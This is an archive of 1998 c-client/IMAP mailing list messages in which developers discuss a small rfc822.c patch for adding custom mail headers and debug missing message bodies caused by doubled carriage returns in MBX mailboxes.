lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA20308; Mon, 14 Sep 1998 15:42:04 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA52636 for ; Mon, 14 Sep 1998 15:40:08 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (dlg@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA09040 for ; Mon, 14 Sep 1998 15:40:08 -0700 Message-Id: Date: Mon, 14 Sep 1998 15:34:12 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: William Suetholz Cc: c-client@u.washington.edu, wsuetholz@centonline.com Subject: re: C-Client API Documentation? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 14 Sep 1998 16:05:11 -0500 (CDT), William Suetholz wrote: > Isn't there a way that the > C-Client could be made configurable enough so that pine wouldn't have to > do that? The rfc822_header() code in c-client's rfc822.c module is considered to be "sample" or "model" code. It turns out that most programs want to do enough custom things with their headers that they end up doing their own thing anyway. It is definitely under consideration to make c-client more configurable in this area. There are several matters with mail sending that are not up to par. Among other things, the reuse of the BODY struct in incompatible ways from mail reading is a kludge and one that trips up people all the time. From pinedev@shivax2.cac.washington.edu Tue Sep 15 01:30:04 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 15 Sep 1998 01:30:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id BAA29173 for ; Tue, 15 Sep 1998 01:30:02 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA18948; Tue, 15 Sep 1998 01:29:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id BAA23877; Tue, 15 Sep 1998 01:27:59 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA34418 for ; Tue, 15 Sep 1998 01:25:43 -0700 Received: from phyw164.phy.hw.ac.uk (phyw164.phy.hw.ac.uk [137.195.29.164]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA19165 for ; Tue, 15 Sep 1998 01:25:27 -0700 Received: (from karsten@localhost) by phyw164.phy.hw.ac.uk (8.8.5/8.8.5) id JAA00537; Tue, 15 Sep 1998 09:24:04 +0100 Message-Id: <13822.9232.970733.526224@phyw164.phy.hw.ac.uk> Date: Tue, 15 Sep 1998 09:24:04 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: William Suetholz Cc: c-client@u.washington.edu, wsuetholz@centonline.com Subject: C-Client API Documentation? In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Url: http://Ballueder.home.ml.org/ X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg I'm sure I saw some documentation for the C-Client API somewhere.. > Can anybody tell me where? I have imap-4.4 installed. =20 >=20 > Also, I need the ability to add in some X- headers. I need X-Priori= ty, > X-ANI, and X-Subscriber which I'd like to put into the first part of= a > Multipart MIME message. Pine currently achieves this by using it's = own > versions of some of the RFC822 functions.. Isn't there a way that t= he > C-Client could be made configurable enough so that pine wouldn't hav= e to > do that? One of the things that pine does, is it puts a quick parag= raph > in the first MIME part that sayes it's a MIME message. >=20 > Should I instead of trying to use a bodypart for the additional head= ers,=20 > add in a additional_header field to the envelope structure, that can= > have as many lines of additional fields as the MUA designer wants? >=20 I have a tiny patch against c-client source which allows to add arbitrary header lines. --=20 Karsten Ball=FCder http://Ballueder.home.ml.org/ mailto:Ballueder@usa.= net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotla= nd "In a world without fences, who needs Gates?" =20 From pinedev@shivax2.cac.washington.edu Tue Sep 15 07:10:37 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 15 Sep 1998 07:10:37 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id HAA30398 for ; Tue, 15 Sep 1998 07:10:36 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id HAA24380; Tue, 15 Sep 1998 07:10:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA00238; Tue, 15 Sep 1998 07:10:03 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id HAA68438 for ; Tue, 15 Sep 1998 07:07:46 -0700 Received: from oxmail.ox.ac.uk (oxmail1.ox.ac.uk [129.67.1.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id HAA03026 for ; Tue, 15 Sep 1998 07:07:45 -0700 Received: from sable.ox.ac.uk ([163.1.2.4]) by oxmail.ox.ac.uk with esmtp (Exim 2.02 #3) id 0zIvlR-0000vJ-00 for c-client@u.washington.edu; Tue, 15 Sep 1998 15:07:29 +0100 Received: from mbeattie by sable.ox.ac.uk with local (Exim 2.03 #1) id 0zIvlR-0005Qo-00 for c-client@u.washington.edu; Tue, 15 Sep 1998 15:07:29 +0100 Message-Id: Date: Tue, 15 Sep 1998 15:07:29 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Malcolm Beattie To: c-client@u.washington.edu Subject: tmail/mbx/imapd truncate message body MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm using cclient/imapd 4.1.FINAL and tmail (from an imap-utils.tar.Z distribution which had a last mod time of 22 July 1998) on Solaris 2.6. I'm using exim as the MTA and delivering messages with "tmail username" to the MBX format file INBOX in each user's home directory. This seemed to work fine on the face of it. However I now find that imapd is "losing" the body of some messages. The body text is definitely in there and mbxcvt generates a Berkeley format equivalent which looks and works fine. The body loss occurs with both Pine 4.03 as client and also my own cclient-based client but not Netscape's IMAP client. Tracing system calls shows that the failing clients issue the following IMAP commands: 00000005 FETCH 5 (BODYSTRUCTURE FLAGS) 00000006 FETCH 5 BODY.PEEK[HEADER.FIELDS (From Subject To Date Message-Id)] 00000007 FETCH 5 BODY[TEXT] To test what was going on I ran mbxcvt to make a Berkeley format copy of INBOX called foo. Talking to the IMAP server with telnet, I get: 2 select inbox -- * 9 EXISTS * 0 RECENT * OK [UIDVALIDITY 905337305] UID validity status * OK [UIDNEXT 15] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags * OK [UNSEEN 1] 1 is first unseen message in /x0/xzug/validate/INBOX 2 OK [READ-WRITE] SELECT completed 5 FETCH 5 (BODYSTRUCTURE FLAGS) * 5 FETCH (BODYSTRUCTURE ("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 0 0 NIL ("INLINE" NIL) NIL) FLAGS (\Seen)) 5 OK FETCH completed 6 fetch 4 (BODYSTRUCTURE FLAGS) * 4 FETCH (BODYSTRUCTURE ("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 19 2 NIL NIL NIL) FLAGS (\Seen)) 6 OK FETCH completed Here, 4 is a message that does appear: note the NIL NIL rather than ("INLINE" NIL): the failing messages have headers Content-Type: text/plain Content-Disposition: inline although a manually delivered one (via direct tmail) with such headers seemed to work OK. a1 fetch 5 BODY[TEXT] * 5 FETCH (BODY[TEXT] "") a1 OK FETCH completed Note the body text is empty (my client does a fetchtext() to produce this IMAP command). If I now select the foo mailbox (supposedly the same contents, just in Berkeley format), I get: a4 select foo * 9 EXISTS * 9 RECENT * OK [UIDVALIDITY 905864403] UID validity status * OK [UIDNEXT 10] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags * OK [UNSEEN 1] 1 is first unseen message in /x0/xzug/validate/foo a4 OK [READ-WRITE] SELECT completed a5 FETCH 4 BODY[TEXT] * 4 FETCH (BODY[TEXT] {19} test from wing1 ) a5 OK FETCH completed a5 FETCH 5 BODY[TEXT] * 5 FETCH (BODY[TEXT] {25} Herald compose test 3 ) a5 OK FETCH completed In other words, the body text really is present. Is this a problem with tmail or cclient? These IMAP servers are shortly going live with 4000 users, increasing to 30000 over a year or two. I obviously need a mailbox format which doesn't have this truncation problem but equally I don't want to be stuck with Berkeley format mailboxes unless there's no other choice. (There's no way I'd want to do a mass Berkeley -> MBX conversion on large live systems). --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 15 07:12:31 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 15 Sep 1998 07:12:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id HAA03410 for ; Tue, 15 Sep 1998 07:12:30 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id HAA07383; Tue, 15 Sep 1998 07:12:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA14330; Tue, 15 Sep 1998 07:11:55 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id HAA60646 for ; Tue, 15 Sep 1998 07:08:29 -0700 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id HAA04021 for ; Tue, 15 Sep 1998 07:08:27 -0700 Received: from ashvedov (ashvedov.voicerite.com [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id JAA00327; Tue, 15 Sep 1998 09:01:10 -0400 Message-Id: <006401bde0b2$092f7eb0$2601a8c0@ashvedov.voicerite> Date: Tue, 15 Sep 1998 10:06:27 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Aleksandr M. Shvedov" To: Cc: Subject: Re: Ballueder patch MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I went thru http://Ballueder.home.ml.org/ , but didn't find the patch you're talking about. Is it hidden somewhere in Your M-client code? Thanks. Alex. From pinedev@shivax2.cac.washington.edu Tue Sep 15 09:42:31 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 15 Sep 1998 09:42:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA25703 for ; Tue, 15 Sep 1998 09:42:29 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA11497; Tue, 15 Sep 1998 09:42:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA17761; Tue, 15 Sep 1998 09:41:30 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA87510 for ; Tue, 15 Sep 1998 09:40:09 -0700 Received: from phyw164.phy.hw.ac.uk (karsten@phyw164.phy.hw.ac.uk [137.195.29.164]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA31745 for ; Tue, 15 Sep 1998 09:40:08 -0700 Received: (from karsten@localhost) by phyw164.phy.hw.ac.uk (8.8.5/8.8.5) id RAA01045; Tue, 15 Sep 1998 17:39:50 +0100 Message-Id: <13822.38816.987643.265299@phyw164.phy.hw.ac.uk> Date: Tue, 15 Sep 1998 17:39:50 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: "Aleksandr M. Shvedov" Cc: , Subject: Re: Ballueder patch In-Reply-To: <006401bde0b2$092f7eb0$2601a8c0@ashvedov.voicerite> References: <006401bde0b2$092f7eb0$2601a8c0@ashvedov.voicerite> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="mGlzLor2NN" Content-Transfer-Encoding: 7bit X-Url: http://Ballueder.home.ml.org/ X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg I went thru http://Ballueder.home.ml.org/ , but didn't find the patch > you're talking about. Is it hidden somewhere in Your M-client code? Yes it is in M, but that code includes more patches. As the patch is only few lines I include it in the mail to the list, maybe it could even make it into the distribution? It defines a function rfc822_setextraheaders() which takes two arrays of pointers to header line names and their values. These will be added to the headers. It's the responsibility of the caller to free these arrays when no longer used. Apply the patch to rfc822.c Hope this helps! --mGlzLor2NN Content-Type: text/plain Content-Description: patch for rfc822.c Content-Disposition: inline; filename="rfc822.c.patch" Content-Transfer-Encoding: 7bit 111a112,132 > static char **rfc822_extraheaders_names = NULL; > static char **rfc822_extraheaders_values = NULL; > > void rfc822_setextraheaders(char **names, char **values) > { > rfc822_extraheaders_names = names; > rfc822_extraheaders_values = values; > } > > void rfc822_extraheader_lines (char **header,ENVELOPE *env) > { > while(rfc822_extraheaders_names && *rfc822_extraheaders_names) > { > if (rfc822_extraheaders_values) sprintf ((*header += strlen (*header)),"%s%s: %s\015\012", > env->remail ? "ReSent-" : "", > *(rfc822_extraheaders_names++), > *(rfc822_extraheaders_values++) > ); > } > } > 137a159,161 > > rfc822_extraheader_lines (&header,env); > --mGlzLor2NN Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable --=20 Karsten Ball=FCder http://Ballueder.home.ml.org/ mailto:Ballueder@usa.= net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotla= nd "In a world without fences, who needs Gates?" =20 --mGlzLor2NN-- From pinedev@shivax2.cac.washington.edu Tue Sep 15 10:27:07 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 15 Sep 1998 10:27:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA15609 for ; Tue, 15 Sep 1998 10:27:05 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA00451; Tue, 15 Sep 1998 10:26:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA08783; Tue, 15 Sep 1998 10:26:19 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA76246 for ; Tue, 15 Sep 1998 10:24:09 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rodriguez@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA03015 for ; Tue, 15 Sep 1998 10:24:07 -0700 Message-Id: Date: Tue, 15 Sep 1998 10:19:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Malcolm Beattie Cc: c-client@u.washington.edu Subject: re: tmail/mbx/imapd truncate message body In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The best address for reporting c-client bugs is to send the report directly to me and not to a mailing list. This is the first time that I have ever heard of such a bug. It is plainly clear from the telemetry that the MIME parser considers the body of the failing message to be empty, so there is some other problem. Are you ABSOLUTELY sure that the failing message is correct? 9 times out of 10, a "missing body" bug report turns out to be that the message does not have a blank line delimiting the header and body. A line consisting of only a space is a continuation line according to RFC 822. Please send me (as a MIME attachment) a mailbox which demonstrates the problem for analysis. From pinedev@shivax2.cac.washington.edu Tue Sep 15 10:37:40 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 15 Sep 1998 10:37:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA30654 for ; Tue, 15 Sep 1998 10:37:39 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA00833; Tue, 15 Sep 1998 10:37:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA20354; Tue, 15 Sep 1998 10:36:48 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA62906 for ; Tue, 15 Sep 1998 10:35:37 -0700 Received: from oxmail.ox.ac.uk (oxmail1.ox.ac.uk [129.67.1.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA06333 for ; Tue, 15 Sep 1998 10:35:36 -0700 Received: from sable.ox.ac.uk ([163.1.2.4]) by oxmail.ox.ac.uk with esmtp (Exim 2.02 #3) id 0zIz0m-0004c2-00; Tue, 15 Sep 1998 18:35:32 +0100 Received: from mbeattie by sable.ox.ac.uk with local (Exim 2.03 #1) id 0zIz0m-0005Zj-00; Tue, 15 Sep 1998 18:35:32 +0100 Message-Id: Date: Tue, 15 Sep 1998 18:35:32 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Malcolm Beattie To: MRC@CAC.Washington.EDU (Mark Crispin) Cc: c-client@u.washington.edu Subject: Re: tmail/mbx/imapd truncate message body In-Reply-To: from Mark Crispin at "Sep 15, 98 10:19:56 am" MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Mark Crispin writes: > The best address for reporting c-client bugs is to send the report directly to > me and not to a mailing list. OK, I'll remember in future. > This is the first time that I have ever heard of such a bug. It is plainly > clear from the telemetry that the MIME parser considers the body of the > failing message to be empty, so there is some other problem. > > Are you ABSOLUTELY sure that the failing message is correct? 9 times out of > 10, a "missing body" bug report turns out to be that the message does not have > a blank line delimiting the header and body. A line consisting of only a > space is a continuation line according to RFC 822. I think I'm number 10. I'm aware of the importance of the blank line. I'm using exim to deliver the message via tmail. Some messages delivered that way work fine. mbxcvt converts the mailbox into a Berkeley mailbox which can be seen to be correct (i.e. headers/body separated OK and cclient can see the body when reading it). > Please send me (as a MIME attachment) a mailbox which demonstrates the problem > for analysis. This message is cc'ed to the list but I'll send example mailboxes to your address alone to avoid clutter. --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services From pinedev@shivax2.cac.washington.edu Tue Sep 15 12:41:16 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 15 Sep 1998 12:41:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA10447 for ; Tue, 15 Sep 1998 12:41:14 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA04426; Tue, 15 Sep 1998 12:41:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA29133; Tue, 15 Sep 1998 12:40:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA58368 for ; Tue, 15 Sep 1998 12:38:18 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA20581 for ; Tue, 15 Sep 1998 12:38:18 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (phil@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA04382 for ; Tue, 15 Sep 1998 12:38:15 -0700 Message-Id: Date: Tue, 15 Sep 1998 12:30:50 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Malcolm Beattie Cc: c-client Interest List Subject: Re: tmail/mbx/imapd truncate message body In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I took a look at the sample data that you submitted. There is a spurious CR in every line of the message. That is, each line of the message ends with CR CR LF. CR CR LF CR CR LF is not recognized as an end of line. The reason that it works when you mbxcvt it to unix format is that unix format gets rid of all the CRs. If you mbxcvt it back to mbx format you'll discover that it works that way. Are you seeing a "tmail called with LF-only newlines" warning in your syslog? If so, I suspect that exim is sending tmail a "From " line that ends with a bare LF, followed by message text in which every line ends with CR LF. Try fixing your mailer so that it gives a consistant newline convention to tmail. From pinedev@shivax2.cac.washington.edu Tue Sep 15 14:57:38 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 15 Sep 1998 14:57:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA14345 for ; Tue, 15 Sep 1998 14:57:33 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA20880; Tue, 15 Sep 1998 14:57:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA03315; Tue, 15 Sep 1998 14:56:40 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA25518 for ; Tue, 15 Sep 1998 14:54:08 -0700 Received: from centonline.com (mail.centonline.com [204.238.52.24]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA09914 for ; Tue, 15 Sep 1998 14:54:05 -0700 Received: from centonline.com (sup [204.238.52.55]) by centonline.com (8.8.8/8.8.8) with ESMTP id QAA17690; Tue, 15 Sep 1998 16:56:33 -0500 Message-Id: <35FE8C65.BD31678D@centonline.com> Date: Tue, 15 Sep 1998 16:48:53 +0100 Reply-To: wsuetholz@centonline.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: William Suetholz To: Karsten Ballueder Cc: "Aleksandr M. Shvedov" , c-client@u.washington.edu, wsuetholz@centonline.com Subject: Alternative to Ballueder patch References: <006401bde0b2$092f7eb0$2601a8c0@ashvedov.voicerite> <13822.38816.987643.265299@phyw164.phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Nice, but.. wouldn't it be better to have this be part of the envelope? Still use your functions, but have the extraheaders be a structure like this.. ------------------------------- #define HEADERFIELD struct HeaderFields HEADERFIELD { char *name; /* Field Name.. ie X-Priority */ char *value; /* Field Value. Comment if address exists */ ADDRESS *address; /* Field Address. NIL if not used */ HEADERFIELD *next; } ; typedef struct mail_envelope { unsigned int ngbogus : 1; ... char *references; HEADERFIELD *headers; /* Added for custom header lines */ } ENVELOPE; ... HEADERFIELD *mail_newheader (void) ; void mail_free_header (HEADERFIELD **headerfield) ; ------------------------- These functions would be very similar to the other mail_new and mail_free functions. rfc822_header would then be changed to append the additional header entries after all the standard entries. It would be the MUA programmer's responsibility to make sure that the headers entered are valid. Well, I'm off to code this :-) Bill Suetholz From pinedev@shivax2.cac.washington.edu Wed Sep 16 03:02:00 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 16 Sep 1998 03:02:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id DAA26610 for ; Wed, 16 Sep 1998 03:01:59 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id DAA02928; Wed, 16 Sep 1998 03:01:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id DAA12670; Wed, 16 Sep 1998 03:01:26 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id CAA26404 for ; Wed, 16 Sep 1998 02:58:50 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id CAA27726 for ; Wed, 16 Sep 1998 02:58:49 -0700 Received: from oxmail.ox.ac.uk (oxmail1.ox.ac.uk [129.67.1.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id CAA20947; Wed, 16 Sep 1998 02:58:44 -0700 Received: from sable.ox.ac.uk ([163.1.2.4]) by oxmail.ox.ac.uk with esmtp (Exim 2.02 #3) id 0zJEME-0004OQ-00; Wed, 16 Sep 1998 10:58:42 +0100 Received: from mbeattie by sable.ox.ac.uk with local (Exim 2.03 #1) id 0zJEME-0005xZ-00; Wed, 16 Sep 1998 10:58:42 +0100 Message-Id: Date: Wed, 16 Sep 1998 10:58:42 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Malcolm Beattie To: MRC@CAC.Washington.EDU (Mark Crispin) Cc: c-client@CAC.Washington.EDU Subject: Re: tmail/mbx/imapd truncate message body In-Reply-To: from Mark Crispin at "Sep 15, 98 12:30:50 pm" MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Mark Crispin writes: > I took a look at the sample data that you submitted. > > There is a spurious CR in every line of the message. That is, each line of > the message ends with CR CR LF. CR CR LF CR CR LF is not recognized as an end > of line. > > The reason that it works when you mbxcvt it to unix format is that unix format > gets rid of all the CRs. If you mbxcvt it back to mbx format you'll discover > that it works that way. > > Are you seeing a "tmail called with LF-only newlines" warning in your syslog? > If so, I suspect that exim is sending tmail a "From " line that ends with a > bare LF, followed by message text in which every line ends with CR LF. 